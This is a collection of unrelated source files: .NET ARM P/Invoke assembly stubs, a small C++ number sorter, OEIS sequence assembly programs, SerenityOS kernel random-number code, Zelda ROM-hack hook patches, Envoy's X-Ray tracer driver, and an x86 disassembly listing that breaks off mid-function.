; $FuncPrefix : prefix of the function name for the stub
; Eg. VarargPinvoke, GenericPInvokeCalli
; $VASigCookieReg : register which contains the VASigCookie
; $SaveFPArgs : "Yes" or "No" . For varidic functions FP Args are not present in FP regs
; So need not save FP Args registers for vararg Pinvoke
MACRO
PINVOKE_STUB $FuncPrefix,$VASigCookieReg,$SaveFPArgs
GBLS __PInvokeStubFuncName
GBLS __PInvokeGenStubFuncName
GBLS __PInvokeStubWorkerName
IF "$FuncPrefix" == "GenericPInvokeCalli"
__PInvokeStubFuncName SETS "$FuncPrefix":CC:"Helper"
ELSE
__PInvokeStubFuncName SETS "$FuncPrefix":CC:"Stub"
ENDIF
__PInvokeGenStubFuncName SETS "$FuncPrefix":CC:"GenILStub"
__PInvokeStubWorkerName SETS "$FuncPrefix":CC:"StubWorker"
IF "$VASigCookieReg" == "r1"
__PInvokeStubFuncName SETS "$__PInvokeStubFuncName":CC:"_RetBuffArg"
__PInvokeGenStubFuncName SETS "$__PInvokeGenStubFuncName":CC:"_RetBuffArg"
ENDIF
NESTED_ENTRY $__PInvokeStubFuncName
; save reg value before using the reg
PROLOG_PUSH {$VASigCookieReg}
; get the stub
ldr $VASigCookieReg, [$VASigCookieReg,#VASigCookie__pNDirectILStub]
; if null goto stub generation
cbz $VASigCookieReg, %0
EPILOG_STACK_FREE 4
EPILOG_BRANCH_REG $VASigCookieReg
0
EPILOG_POP {$VASigCookieReg}
EPILOG_BRANCH $__PInvokeGenStubFuncName
NESTED_END
NESTED_ENTRY $__PInvokeGenStubFuncName
PROLOG_WITH_TRANSITION_BLOCK 0, $SaveFPArgs
; r2 = UnmanagedTarget\ MethodDesc
mov r2, r12
; r1 = VaSigCookie
IF "$VASigCookieReg" != "r1"
mov r1, $VASigCookieReg
ENDIF
; r0 = pTransitionBlock
add r0, sp, #__PWTB_TransitionBlock
; save hidden arg
mov r4, r12
bl $__PInvokeStubWorkerName
; restore hidden arg (method desc or unmanaged target)
mov r12, r4
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
EPILOG_BRANCH $__PInvokeStubFuncName
NESTED_END
MEND
TEXTAREA
; ------------------------------------------------------------------
; JIT_PInvokeBegin helper
;
; in:
; r0 = InlinedCallFrame*: pointer to the InlinedCallFrame data, including the GS cookie slot (GS cookie right
; before actual InlinedCallFrame data)
;
LEAF_ENTRY JIT_PInvokeBegin
ldr r1, =s_gsCookie
ldr r1, [r1]
str r1, [r0]
add r0, r0, SIZEOF__GSCookie
;; r0 = pFrame
;; set first slot to the value of InlinedCallFrame::`vftable' (checked by runtime code)
ldr r1, =$InlinedCallFrame_vftable
str r1, [r0]
mov r1, 0
str r1, [r0, #InlinedCallFrame__m_Datum]
str sp, [r0, #InlinedCallFrame__m_pCallSiteSP]
str r11, [r0, #InlinedCallFrame__m_pCalleeSavedFP]
str lr, [r0, #InlinedCallFrame__m_pCallerReturnAddress]
str r9, [r0, #InlinedCallFrame__m_pSPAfterProlog]
;; r1 = GetThread(), TRASHES r2
INLINE_GETTHREAD r1, r2
;; pFrame->m_Next = pThread->m_pFrame;
ldr r2, [r1, #Thread_m_pFrame]
str r2, [r0, #Frame__m_Next]
;; pThread->m_pFrame = pFrame;
str r0, [r1, #Thread_m_pFrame]
;; pThread->m_fPreemptiveGCDisabled = 0
mov r2, 0
str r2, [r1, #Thread_m_fPreemptiveGCDisabled]
bx lr
LEAF_END
; ------------------------------------------------------------------
; JIT_PInvokeEnd helper
;
; in:
; r0 = InlinedCallFrame*
;
LEAF_ENTRY JIT_PInvokeEnd
add r0, r0, SIZEOF__GSCookie
;; r1 = GetThread(), TRASHES r2
INLINE_GETTHREAD r1, r2
;; r0 = pFrame
;; r1 = pThread
;; pThread->m_fPreemptiveGCDisabled = 1
mov r2, 1
str r2, [r1, #Thread_m_fPreemptiveGCDisabled]
;; Check return trap
ldr r2, =g_TrapReturningThreads
ldr r2, [r2]
cbnz r2, RarePath
;; pThread->m_pFrame = pFrame->m_Next
ldr r2, [r0, #Frame__m_Next]
str r2, [r1, #Thread_m_pFrame]
bx lr
RarePath
b JIT_PInvokeEndRarePath
LEAF_END
INLINE_GETTHREAD_CONSTANT_POOL
; ------------------------------------------------------------------
; VarargPInvokeStub & VarargPInvokeGenILStub
; There is a separate stub when the method has a hidden return buffer arg.
;
; in:
; r0 = VASigCookie*
; r12 = MethodDesc *
;
PINVOKE_STUB VarargPInvoke, r0, {false}
; ------------------------------------------------------------------
; GenericPInvokeCalliHelper & GenericPInvokeCalliGenILStub
; Helper for generic pinvoke calli instruction
;
; in:
; r4 = VASigCookie*
; r12 = Unmanaged target
;
PINVOKE_STUB GenericPInvokeCalli, r4, {true}
; ------------------------------------------------------------------
; VarargPInvokeStub_RetBuffArg & VarargPInvokeGenILStub_RetBuffArg
; Vararg PInvoke Stub when the method has a hidden return buffer arg
;
; in:
; r1 = VASigCookie*
; r12 = MethodDesc*
;
PINVOKE_STUB VarargPInvoke, r1, {false}
; Must be at very end of file
END
|
#include <iostream>
using namespace std;
int main()
{
int a, b, c;
cin >> a >> b >> c;
if ((a < b) && (a < c))
{
(b < c ? cout << a << endl << b << endl << c << endl : cout << a << endl << c << endl << b << endl) << endl;
}
else
{
if ((b < a) && (b < c))
{
(a < c ? cout << b << endl << a << endl << c << endl : cout << b << endl << c << endl << a << endl) << endl;
}
else
{
(a < b ? cout << c << endl << a << endl << b << endl: cout << c << endl << b << endl << a << endl) << endl;
}
}
cout << a << endl << b << endl << c << endl;
return 0;
} |
; A009984: Powers of 40.
; 1,40,1600,64000,2560000,102400000,4096000000,163840000000,6553600000000,262144000000000,10485760000000000,419430400000000000,16777216000000000000,671088640000000000000,26843545600000000000000,1073741824000000000000000,42949672960000000000000000,1717986918400000000000000000,68719476736000000000000000000,2748779069440000000000000000000,109951162777600000000000000000000,4398046511104000000000000000000000,175921860444160000000000000000000000
mov $1,40
pow $1,$0
mov $0,$1
|
/*
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
* Copyright (c) 2020, Peter Elliott <pelliott@ualberta.ca>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <AK/Singleton.h>
#include <Kernel/Arch/i386/CPU.h>
#include <Kernel/Devices/RandomDevice.h>
#include <Kernel/Random.h>
#include <Kernel/Time/HPET.h>
#include <Kernel/Time/RTC.h>
#include <Kernel/Time/TimeManagement.h>
namespace Kernel {
static AK::Singleton<KernelRng> s_the;
KernelRng& KernelRng::the()
{
return *s_the;
}
UNMAP_AFTER_INIT KernelRng::KernelRng()
{
bool supports_rdseed = Processor::current().has_feature(CPUFeature::RDSEED);
bool supports_rdrand = Processor::current().has_feature(CPUFeature::RDRAND);
if (supports_rdseed || supports_rdrand) {
klog() << "KernelRng: Using RDSEED or RDRAND as entropy source";
for (size_t i = 0; i < resource().pool_count * resource().reseed_threshold; ++i) {
u32 value = 0;
if (supports_rdseed) {
asm volatile(
"1:\n"
"rdseed %0\n"
"jnc 1b\n"
: "=r"(value));
} else {
asm volatile(
"1:\n"
"rdrand %0\n"
"jnc 1b\n"
: "=r"(value));
}
this->resource().add_random_event(value, i % 32);
}
} else if (TimeManagement::the().can_query_precise_time()) {
// Add HPET as entropy source if we don't have anything better.
klog() << "KernelRng: Using HPET as entropy source";
for (size_t i = 0; i < resource().pool_count * resource().reseed_threshold; ++i) {
u64 hpet_time = HPET::the().read_main_counter();
this->resource().add_random_event(hpet_time, i % 32);
}
} else {
// Fallback to RTC
klog() << "KernelRng: Using RTC as entropy source (bad!)";
auto current_time = static_cast<u64>(RTC::now());
for (size_t i = 0; i < resource().pool_count * resource().reseed_threshold; ++i) {
this->resource().add_random_event(current_time, i % 32);
current_time *= 0x574au;
current_time += 0x40b2u;
}
}
}
void KernelRng::wait_for_entropy()
{
ScopedSpinLock lock(get_lock());
if (!resource().is_ready()) {
dbgln("Entropy starvation...");
m_seed_queue.wait_forever("KernelRng");
}
}
void KernelRng::wake_if_ready()
{
ASSERT(get_lock().is_locked());
if (resource().is_ready()) {
m_seed_queue.wake_all();
}
}
size_t EntropySource::next_source { static_cast<size_t>(EntropySource::Static::MaxHardcodedSourceIndex) };
static void do_get_fast_random_bytes(u8* buffer, size_t buffer_size)
{
static Atomic<u32, AK::MemoryOrder::memory_order_relaxed> next = 1;
union {
u8 bytes[4];
u32 value;
} u;
size_t offset = 4;
for (size_t i = 0; i < buffer_size; ++i) {
if (offset >= 4) {
auto current_next = next.load();
for (;;) {
auto new_next = current_next * 1103515245 + 12345;
if (next.compare_exchange_strong(current_next, new_next)) {
u.value = new_next;
break;
}
}
offset = 0;
}
buffer[i] = u.bytes[offset++];
}
}
bool get_good_random_bytes(u8* buffer, size_t buffer_size, bool allow_wait, bool fallback_to_fast)
{
bool result = false;
auto& kernel_rng = KernelRng::the();
// FIXME: What if interrupts are disabled because we're in an interrupt?
bool can_wait = are_interrupts_enabled();
if (!can_wait && allow_wait) {
// If we can't wait but the caller would be ok with it, then we
// need to definitely fallback to *something*, even if it's less
// secure...
fallback_to_fast = true;
}
if (can_wait && allow_wait) {
for (;;) {
{
LOCKER(KernelRng::the().lock());
if (kernel_rng.resource().get_random_bytes(buffer, buffer_size)) {
result = true;
break;
}
}
kernel_rng.wait_for_entropy();
}
} else {
// We can't wait/block here, or we are not allowed to block/wait
if (kernel_rng.resource().get_random_bytes(buffer, buffer_size)) {
result = true;
} else if (fallback_to_fast) {
// If interrupts are disabled
do_get_fast_random_bytes(buffer, buffer_size);
result = true;
}
}
// NOTE: The only case where this function should ever return false and
// not actually return random data is if fallback_to_fast == false and
// allow_wait == false and interrupts are enabled!
ASSERT(result || !fallback_to_fast);
return result;
}
void get_fast_random_bytes(u8* buffer, size_t buffer_size)
{
// Try to get good randomness, but don't block if we can't right now
// and allow falling back to fast randomness
auto result = get_good_random_bytes(buffer, buffer_size, false, true);
ASSERT(result);
}
}
|
org $02b5c4 ; -- moving right routine 135c4
jsl WarpRight
org $02b665 ; -- moving left routine
jsl WarpLeft
org $02b713 ; -- moving down routine
jsl WarpDown
org $02b7b4 ; -- moving up routine
jsl WarpUp
org $02bd80
jsl AdjustTransition
nop
;turn off linking doors -- see .notRoomLinkDoor label in Bank02.asm
org $02b5a8 ; <- 135a8 - Bank02.asm : 8368 (LDA $7EC004 : STA $A0)
jsl CheckLinkDoorR
bcc NotLinkDoor1
org $02b5b6
NotLinkDoor1:
org $02b649 ; <- 135a8 - Bank02.asm : 8482 (LDA $7EC004 : STA $A0)
jsl CheckLinkDoorL
bcc NotLinkDoor2
org $02b657
NotLinkDoor2:
; Staircase routine
org $01c3d4 ; <- c3d4 - Bank01.asm : 9762-4 (Dungeon_DetectStaircase-> STA $A0 : LDA $063D, X)
jsl RecordStairType : nop
org $02a1e7 ;(PC: 121e7)
jsl SpiralWarp
org $0291b3 ; <- Bank02.asm : 3303 (LDA $0462 : AND.b #$04)
jsl SpiralPriorityHack : nop
org $0290f9 ; <- Bank02.asm : 3188 (LDA $0462 : AND.b #$04)
jsl SpiralPriorityHack : nop
org $029369 ; <- 11369 - Bank02.asm : 3610 (STX $0464 : STY $012E)
jsl StraightStairsAdj : nop #2
org $029383 ; <- 11384 - Bank02.asm : 3629 (.walkingDownStaircase-> ADD $20 : STA $20)
jsl StraightStairsFix : nop
org $0293aa ; <- 113aa - Bank02.asm : 3653 (ADD $20 : STA $20)
jsl StraightStairsFix : nop
org $0293d1 ; <- 113d1 - Bank02.asm : 3683 (ADD $20 : STA $20 BRANCH_IOTA)
jsl StraightStairsFix : nop
org $029396 ; <- 11396 - Bank02.asm : 3641 (LDA $01C322, X)
jsl StraightStairLayerFix
org $02c06d ; <- Bank02.asm : 9874 (LDX $0418, CMP.b #$02)
jsl DoorToStraight : nop
org $02c092 ; STA $0020, Y : LDX #$00
jsl DoorToInroom : nop
org $02c0f8 ; CMP $02C034, X
jsl DoorToInroomEnd
org $02941a ; <- Bank02.asm : 3748 module 7.12.11 (LDA $0464 : BNE BRANCH_$11513 : INC $B0 : RTS)
jsl StraightStairsTrapDoor : rts
org $028b54 ; <- Bank02.asm : 2200 (JSL UseImplicitRegIndexedLocalJumpTable)
jsl InroomStairsTrapDoor
org $0289a0 ; JSL $0091C4
jsl QuadrantLoadOrderBeforeScroll
org $02bd9c ; JSL $0091C4
jsl QuadrantLoadOrderAfterScroll
; Graphics fix
org $02895d ; Bank 02 line 1812 (JSL Dungeon_LoadRoom : JSL Dungeon_InitStarTileChr : JSL $00D6F9 : INC $B0)
Splicer:
jsl GfxFixer
lda $b1 : beq .done
rts
nop #5
.done
org $01b618 ; Bank01.asm : 7963 Dungeon_LoadHeader (REP #$20 : INY : LDA [$0D], Y)
nop : jsl OverridePaletteHeader
org $02817e ; Bank02.asm : 414 (LDA $02811E, X)
jsl FixAnimatedTiles
org $028a06 ; Bank02.asm : 1941 Dungeon_ResetTorchBackgroundAndPlayer
JSL FixWallmasterLamp
org $00d377 ;Bank 00 line 3185
DecompDungAnimatedTiles:
org $00fda4 ;Bank 00 line 8882
Dungeon_InitStarTileCh:
org $00d6ae ;(PC: 56ae)
LoadTransAuxGfx:
org $00d739 ;
LoadTransAuxGfx_Alt:
org $00df5a ;(PC: 5f5a)
PrepTransAuxGfx:
org $0ffd65 ;(PC: 07fd65)
Dungeon_LoadCustomTileAttr:
org $01feb0
Dungeon_ApproachFixedColor:
;org $01fec1
;Dungeon_ApproachFixedColor_variable:
;org $a0f972 ; Rando version
;LoadRoomHook:
org $1bee74 ;(PC: 0dee74)
Palette_DungBgMain:
org $1bec77
Palette_SpriteAux3:
org $1becc5
Palette_SpriteAux2:
org $1bece4
Palette_SpriteAux1:
org $0DFA53
jsl.l LampCheckOverride
org $028046 ; <- 10046 - Bank02.asm : 217 (JSL EnableForceBlank) (Start of Module_LoadFile)
jsl.l OnFileLoadOverride
org $07A93F ; < 3A93F - Bank07.asm 6548 (LDA $8A : AND.b #$40 - Mirror checks)
jsl.l MirrorCheckOverride
org $05ef47
Sprite_HeartContainer_Override: ;sprite_heart_upgrades.asm : 96-100 (LDA $040C : CMP.b #$1A : BNE .not_in_ganons_tower)
jsl GtBossHeartCheckOverride : bcs .not_in_ganons_tower
nop : stz $0dd0, X : rts
.not_in_ganons_tower
org $07a955 ; <- Bank07.asm : around 6564 (JP is a bit different) (STZ $05FC : STZ $05FD)
jsl BlockEraseFix
nop #2
org $02b82a
jsl FixShopCode
org $1ddeea ; <- Bank1D.asm : 286 (JSL Sprite_LoadProperties)
jsl VitreousKeyReset
org $1ed024 ; f5024 sprite_guruguru_bar.asm : 27 (LDA $040C : CMP.b #$12 : INY #2
jsl GuruguruFix : bra .next
nop #3
.next
org $028fc9
nop #2 : jsl BlindAtticFix
org $028409
jsl SuctionOverworldFix
org $0ded04 ; <- rando's hooks.asm line 2192 - 6ED04 - equipment.asm : 1963 (REP #$30)
jsl DrHudDungeonItemsAdditions
;org $098638 ; rando's hooks.asm line 2192
;jsl CountChestKeys
org $06D192 ; rando's hooks.asm line 457
jsl CountAbsorbedKeys
; rando's hooks.asm line 1020
;org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F)
;jsl CountBonkItem
org $019dbd ; <- Bank01.asm : 4465 of Object_Draw8xN (LDA $9B52, Y : STA $7E2000, X)
jsl CutoffEntranceRug : bra .nextTile : nop
.nextTile
;maybe set 02e2 to 0
org $0799de ; <- Bank07.asm : 4088 (LDA.b #$15 : STA $5D)
JSL StoreTempBunnyState
;
org $08c450 ; <- ancilla_receive_item.asm : 146-148 (STY $5D : STZ $02D8)
JSL RetrieveBunnyState : NOP
org $02d9ce ; <- Bank02.asm : Dungeon_LoadEntrance 10829 (STA $A0 : STA $048E)
JSL CheckDarkWorldSpawn : NOP
org $01891e ; <- Bank 01.asm : 991 Dungeon_LoadType2Object (LDA $00 : XBA : AND.w #$00FF)
JSL RainPrevention : NOP #2
org $1edabf ; <- sprite_energy_ball.asm : 86-7 Sprite_EnergyBall (LDA.b #$10 : LDX.b #$00)
JSL StandardAgaDmg
org $09a681 ; < - similar to talalong.asm : 1157 (JSL Main_ShowTextMessage)
JSL BlindsAtticHint : NOP #2
org $1cfd69
Main_ShowTextMessage:
; These two, if enabled together, have implications for vanilla BK doors in IP/Hera/Mire
; IPBJ is common enough to consider not doing this. Mire is not a concern for vanilla - maybe glitched modes
; Hera BK door back can be seen with Pot clipping - likely useful for no logic seeds
;Kill big key (1e) check for south doors
;org $1aa90
;DontCheck:
;bra .done
;nop #3
;.done
;Enable south facing bk graphic
;org $4e24
;dw $2ac8
org $01b714 ; PC: b714
OpenableDoors:
jsl CheckIfDoorsOpen
bcs .normal
rts
.normal
|
; A060820: (2*n-1)^2 + (2*n)^2.
; 5,25,61,113,181,265,365,481,613,761,925,1105,1301,1513,1741,1985,2245,2521,2813,3121,3445,3785,4141,4513,4901,5305,5725,6161,6613,7081,7565,8065,8581,9113,9661,10225,10805,11401,12013,12641,13285,13945,14621,15313,16021,16745,17485,18241,19013,19801,20605,21425,22261,23113,23981,24865,25765,26681,27613,28561,29525,30505,31501,32513,33541,34585,35645,36721,37813,38921,40045,41185,42341,43513,44701,45905,47125,48361,49613,50881,52165,53465,54781,56113,57461,58825,60205,61601,63013,64441,65885,67345,68821,70313,71821,73345,74885,76441,78013,79601
mov $1,8
mul $1,$0
add $1,12
mul $1,$0
add $1,5
mov $0,$1
|
#include "extensions/tracers/xray/xray_tracer_impl.h"
#include "common/common/macros.h"
#include "common/common/utility.h"
#include "extensions/tracers/xray/localized_sampling.h"
#include "extensions/tracers/xray/tracer.h"
#include "extensions/tracers/xray/xray_configuration.h"
namespace Envoy {
namespace Extensions {
namespace Tracers {
namespace XRay {
constexpr static char DefaultDaemonEndpoint[] = "127.0.0.1:2000";
static XRayHeader parseXRayHeader(const Http::LowerCaseString& header) {
const auto& lowered_header = header.get();
XRayHeader result;
for (const auto& token : StringUtil::splitToken(lowered_header, ";")) {
if (absl::StartsWith(token, "root=")) {
result.trace_id_ = std::string(StringUtil::cropLeft(token, "="));
} else if (absl::StartsWith(token, "parent=")) {
result.parent_id_ = std::string(StringUtil::cropLeft(token, "="));
} else if (absl::StartsWith(token, "sampled=")) {
const auto s = StringUtil::cropLeft(token, "=");
if (s == "1") {
result.sample_decision_ = SamplingDecision::Sampled;
} else if (s == "0") {
result.sample_decision_ = SamplingDecision::NotSampled;
} else {
result.sample_decision_ = SamplingDecision::Unknown;
}
}
}
return result;
}
Driver::Driver(const XRayConfiguration& config, Server::Instance& server)
: xray_config_(config), tls_slot_ptr_(server.threadLocal().allocateSlot()) {
const std::string daemon_endpoint =
config.daemon_endpoint_.empty() ? DefaultDaemonEndpoint : config.daemon_endpoint_;
ENVOY_LOG(debug, "send X-Ray generated segments to daemon address on {}", daemon_endpoint);
sampling_strategy_ = std::make_unique<XRay::LocalizedSamplingStrategy>(
xray_config_.sampling_rules_, server.random(), server.timeSource());
tls_slot_ptr_->set([this, daemon_endpoint,
&server](Event::Dispatcher&) -> ThreadLocal::ThreadLocalObjectSharedPtr {
std::string span_name = xray_config_.segment_name_.empty() ? server.localInfo().clusterName()
: xray_config_.segment_name_;
DaemonBrokerPtr broker = std::make_unique<DaemonBrokerImpl>(daemon_endpoint);
TracerPtr tracer = std::make_unique<Tracer>(span_name, std::move(broker), server.timeSource());
return std::make_shared<XRay::Driver::TlsTracer>(std::move(tracer), *this);
});
}
Tracing::SpanPtr Driver::startSpan(const Tracing::Config& config, Http::HeaderMap& request_headers,
const std::string& operation_name, Envoy::SystemTime start_time,
const Tracing::Decision tracing_decision) {
// First thing is to determine whether this request will be sampled or not.
// if there's a X-Ray header and it has a sampling decision already determined (i.e. Sample=1)
// then we can move on; otherwise, we ask the sampling strategy whether this request should be
// sampled or not.
//
// The second step is create a Span.
// If we have a XRay TraceID in the headers, then we create a SpanContext to pass that trace-id
// around if no TraceID (which means no x-ray header) then this is a brand new span.
UNREFERENCED_PARAMETER(config);
// TODO(marcomagdy) - how do we factor this into the logic above
UNREFERENCED_PARAMETER(tracing_decision);
const auto* header = request_headers.get(Http::LowerCaseString(XRayTraceHeader));
absl::optional<bool> should_trace;
XRayHeader xray_header;
if (header) {
Http::LowerCaseString lowered_header_value{std::string(header->value().getStringView())};
xray_header = parseXRayHeader(lowered_header_value);
// if the sample_decision in the x-ray header is unknown then we try to make a decision based
// on the sampling strategy
if (xray_header.sample_decision_ == SamplingDecision::Sampled) {
should_trace = true;
} else if (xray_header.sample_decision_ == SamplingDecision::NotSampled) {
should_trace = false;
} else {
ENVOY_LOG(
trace,
"Unable to determine from the X-Ray trace header whether request is sampled or not");
}
}
if (!should_trace.has_value()) {
const SamplingRequest request{std::string{request_headers.Host()->value().getStringView()},
std::string{request_headers.Method()->value().getStringView()},
std::string{request_headers.Path()->value().getStringView()}};
should_trace = sampling_strategy_->shouldTrace(request);
}
auto* tracer = tls_slot_ptr_->getTyped<Driver::TlsTracer>().tracer_.get();
if (should_trace.value()) {
return tracer->startSpan(xray_config_.segment_name_, operation_name, start_time,
header ? absl::optional<XRayHeader>(xray_header) : absl::nullopt);
}
// instead of returning nullptr, we return a Span that is marked as not-sampled.
// This is important to communicate that information to upstream services (see injectContext()).
// Otherwise, the upstream service can decide to sample the request regardless and we end up with
// more samples than we asked for.
return tracer->createNonSampledSpan();
}
} // namespace XRay
} // namespace Tracers
} // namespace Extensions
} // namespace Envoy
|
1000ae00: 55 push ebp
1000ae01: 8b ec mov ebp,esp
1000ae03: 83 ec 7c sub esp,0x7c
1000ae06: a1 10 00 01 10 mov eax,ds:0x10010010
1000ae0b: 33 c5 xor eax,ebp
1000ae0d: 89 45 fc mov DWORD PTR [ebp-0x4],eax
1000ae10: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
1000ae13: 53 push ebx
1000ae14: 33 db xor ebx,ebx
1000ae16: 56 push esi
1000ae17: 33 f6 xor esi,esi
1000ae19: 89 45 84 mov DWORD PTR [ebp-0x7c],eax
1000ae1c: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
1000ae1f: 46 inc esi
1000ae20: 33 c9 xor ecx,ecx
1000ae22: 39 5d 24 cmp DWORD PTR [ebp+0x24],ebx
1000ae25: 57 push edi
1000ae26: 89 45 90 mov DWORD PTR [ebp-0x70],eax
1000ae29: 8d 7d e0 lea edi,[ebp-0x20]
1000ae2c: 89 5d 8c mov DWORD PTR [ebp-0x74],ebx
1000ae2f: 89 75 98 mov DWORD PTR [ebp-0x68],esi
1000ae32: 89 5d b4 mov DWORD PTR [ebp-0x4c],ebx
1000ae35: 89 5d a8 mov DWORD PTR [ebp-0x58],ebx
1000ae38: 89 5d a4 mov DWORD PTR [ebp-0x5c],ebx
1000ae3b: 89 5d a0 mov DWORD PTR [ebp-0x60],ebx
1000ae3e: 89 5d 9c mov DWORD PTR [ebp-0x64],ebx
1000ae41: 89 5d b0 mov DWORD PTR [ebp-0x50],ebx
1000ae44: 89 5d 94 mov DWORD PTR [ebp-0x6c],ebx
1000ae47: 75 1f jne 0x1000ae68
1000ae49: e8 f8 9b ff ff call 0x10004a46
1000ae4e: 53 push ebx
1000ae4f: 53 push ebx
1000ae50: 53 push ebx
1000ae51: 53 push ebx
1000ae52: 53 push ebx
1000ae53: c7 00 16 00 00 00 mov DWORD PTR [eax],0x16
1000ae59: e8 18 cd ff ff call 0x10007b76
1000ae5e: 83 c4 14 add esp,0x14
1000ae61: 33 c0 xor eax,eax
1000ae63: e9 19 06 00 00 jmp 0x1000b481
1000ae68: 8b 55 10 mov edx,DWORD PTR [ebp+0x10]
1000ae6b: 89 55 ac mov DWORD PTR [ebp-0x54],edx
1000ae6e: 8a 02 mov al,BYTE PTR [edx]
1000ae70: 3c 20 cmp al,0x20
1000ae72: 74 0c je 0x1000ae80
1000ae74: 3c 09 cmp al,0x9
1000ae76: 74 08 je 0x1000ae80
1000ae78: 3c 0a cmp al,0xa
1000ae7a: 74 04 je 0x1000ae80
1000ae7c: 3c 0d cmp al,0xd
1000ae7e: 75 03 jne 0x1000ae83
1000ae80: 42 inc edx
1000ae81: eb eb jmp 0x1000ae6e
1000ae83: b3 30 mov bl,0x30
1000ae85: 8a 02 mov al,BYTE PTR [edx]
1000ae87: 42 inc edx
1000ae88: 83 f9 0b cmp ecx,0xb
1000ae8b: 0f 87 2f 02 00 00 ja 0x1000b0c0
1000ae91: ff 24 8d 90 b4 00 10 jmp DWORD PTR [ecx*4+0x1000b490]
1000ae98: 8a c8 mov cl,al
1000ae9a: 80 e9 31 sub cl,0x31
1000ae9d: 80 f9 08 cmp cl,0x8
1000aea0: 77 06 ja 0x1000aea8
1000aea2: 6a 03 push 0x3
1000aea4: 59 pop ecx
1000aea5: 4a dec edx
1000aea6: eb dd jmp 0x1000ae85
1000aea8: 8b 4d 24 mov ecx,DWORD PTR [ebp+0x24]
1000aeab: 8b 09 mov ecx,DWORD PTR [ecx]
1000aead: 8b 89 bc 00 00 00 mov ecx,DWORD PTR [ecx+0xbc]
1000aeb3: 8b 09 mov ecx,DWORD PTR [ecx]
1000aeb5: 3a 01 cmp al,BYTE PTR [ecx]
1000aeb7: 75 05 jne 0x1000aebe
1000aeb9: 6a 05 push 0x5
1000aebb: 59 pop ecx
1000aebc: eb c7 jmp 0x1000ae85
1000aebe: 0f be c0 movsx eax,al
1000aec1: 83 e8 2b sub eax,0x2b
1000aec4: 74 1d je 0x1000aee3
1000aec6: 48 dec eax
1000aec7: 48 dec eax
1000aec8: 74 0d je 0x1000aed7
1000aeca: 83 e8 03 sub eax,0x3
1000aecd: 0f 85 8b 01 00 00 jne 0x1000b05e
1000aed3: 8b ce mov ecx,esi
1000aed5: eb ae jmp 0x1000ae85
1000aed7: 6a 02 push 0x2
1000aed9: 59 pop ecx
1000aeda: c7 45 8c 00 80 00 00 mov DWORD PTR [ebp-0x74],0x8000
1000aee1: eb a2 jmp 0x1000ae85
1000aee3: 83 65 8c 00 and DWORD PTR [ebp-0x74],0x0
1000aee7: 6a 02 push 0x2
1000aee9: 59 pop ecx
1000aeea: eb 99 jmp 0x1000ae85
1000aeec: 8a c8 mov cl,al
1000aeee: 80 e9 31 sub cl,0x31
1000aef1: 80 f9 08 cmp cl,0x8
1000aef4: 89 75 a8 mov DWORD PTR [ebp-0x58],esi
1000aef7: 76 a9 jbe 0x1000aea2
1000aef9: 8b 4d 24 mov ecx,DWORD PTR [ebp+0x24]
1000aefc: 8b 09 mov ecx,DWORD PTR [ecx]
1000aefe: 8b 89 bc 00 00 00 mov ecx,DWORD PTR [ecx+0xbc]
1000af04: 8b 09 mov ecx,DWORD PTR [ecx]
1000af06: 3a 01 cmp al,BYTE PTR [ecx]
1000af08: 75 04 jne 0x1000af0e
1000af0a: 6a 04 push 0x4
1000af0c: eb ad jmp 0x1000aebb
1000af0e: 3c 2b cmp al,0x2b
1000af10: 74 28 je 0x1000af3a
1000af12: 3c 2d cmp al,0x2d
1000af14: 74 24 je 0x1000af3a
1000af16: 3a c3 cmp al,bl
1000af18: 74 b9 je 0x1000aed3
1000af1a: 3c 43 cmp al,0x43
1000af1c: 0f 8e 3c 01 00 00 jle 0x1000b05e
1000af22: 3c 45 cmp al,0x45
1000af24: 7e 10 jle 0x1000af36
1000af26: 3c 63 cmp al,0x63
1000af28: 0f 8e 30 01 00 00 jle 0x1000b05e
1000af2e: 3c 65 cmp al,0x65
1000af30: 0f 8f 28 01 00 00 jg 0x1000b05e
1000af36: 6a 06 push 0x6
1000af38: eb 81 jmp 0x1000aebb
1000af3a: 4a dec edx
1000af3b: 6a 0b push 0xb
1000af3d: e9 79 ff ff ff jmp 0x1000aebb
1000af42: 8a c8 mov cl,al
1000af44: 80 e9 31 sub cl,0x31
1000af47: 80 f9 08 cmp cl,0x8
1000af4a: 0f 86 52 ff ff ff jbe 0x1000aea2
1000af50: 8b 4d 24 mov ecx,DWORD PTR [ebp+0x24]
1000af53: 8b 09 mov ecx,DWORD PTR [ecx]
1000af55: 8b 89 bc 00 00 00 mov ecx,DWORD PTR [ecx+0xbc]
1000af5b: 8b 09 mov ecx,DWORD PTR [ecx]
1000af5d: 3a 01 cmp al,BYTE PTR [ecx]
1000af5f: 0f 84 54 ff ff ff je 0x1000aeb9
1000af65: 3a c3 cmp al,bl
1000af67: 0f 84 66 ff ff ff je 0x1000aed3
1000af6d: 8b 55 ac mov edx,DWORD PTR [ebp-0x54]
